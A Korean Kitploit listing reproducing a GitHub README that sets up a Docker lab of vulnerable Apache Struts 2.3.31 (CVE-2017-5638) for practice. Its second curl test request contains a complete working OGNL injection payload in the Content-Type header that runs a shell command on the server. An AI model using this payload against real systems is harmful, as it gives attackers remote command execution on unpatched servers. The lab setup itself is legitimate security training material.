Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
vulnerability_struts-2.3.31 — struts-2.3.31 (CVE-2017-5638) 환경 구축 | Kitploit
도구/GitHubGitHub/testpilot031/vulnerability_struts-2.3.31
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubtestpilot031/vulnerability_struts-2.3.31

vulnerability_struts-2.3.31

struts-2.3.31 (CVE-2017-5638) 환경 구축

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
저장소 보기
4년 전아직 검토되지 않음

vulnerability_struts-2.3.31

struts-2.3.31 (CVE-2017-5638) 환경을 구축합니다. https 요청이 가능합니다.

환경

Ubuntu 20.04 Docker 20.10.12 curl 7.68.0

서버 시작

tomcat:7.0-jre8 docker 이미지를 사용합니다. 원하는 디렉터리에 struts-2.3.31.zip의 압축을 해제합니다. cd struts-2.3.31 sudo docker build -t struts/2_3_31 . sudo docker run -it --rm -p 8443:8443 struts/2_3_31

테스트 요청

하나(200 OK 예상) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' -k -I

다른 하나(200 OK 예상) curl --location --request GET 'https://127.0.0.1:8443/struts2-showcase/showcase.action' --header 'Content-Type: %{(#_='''multipart/form-data''').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['''com.opensymphony.xwork2.ActionContext.container''']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='''ls''').(#iswin=(@java.lang.System@getProperty('''os.name''').toLowerCase().contains('''win'''))).(#cmds=(#iswin?{'''cmd.exe''','''/c''',#cmd}:{'''/bin/bash''','''-c''',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' -k

상세

struts2-showcase.war는 아래에서 다운로드됩니다. https://archive.apache.org/dist/struts/2.3.31/

server.xml은 tomcat 설정 파일입니다. SSL을 활성화하도록 편집되었습니다.

도구 다운로드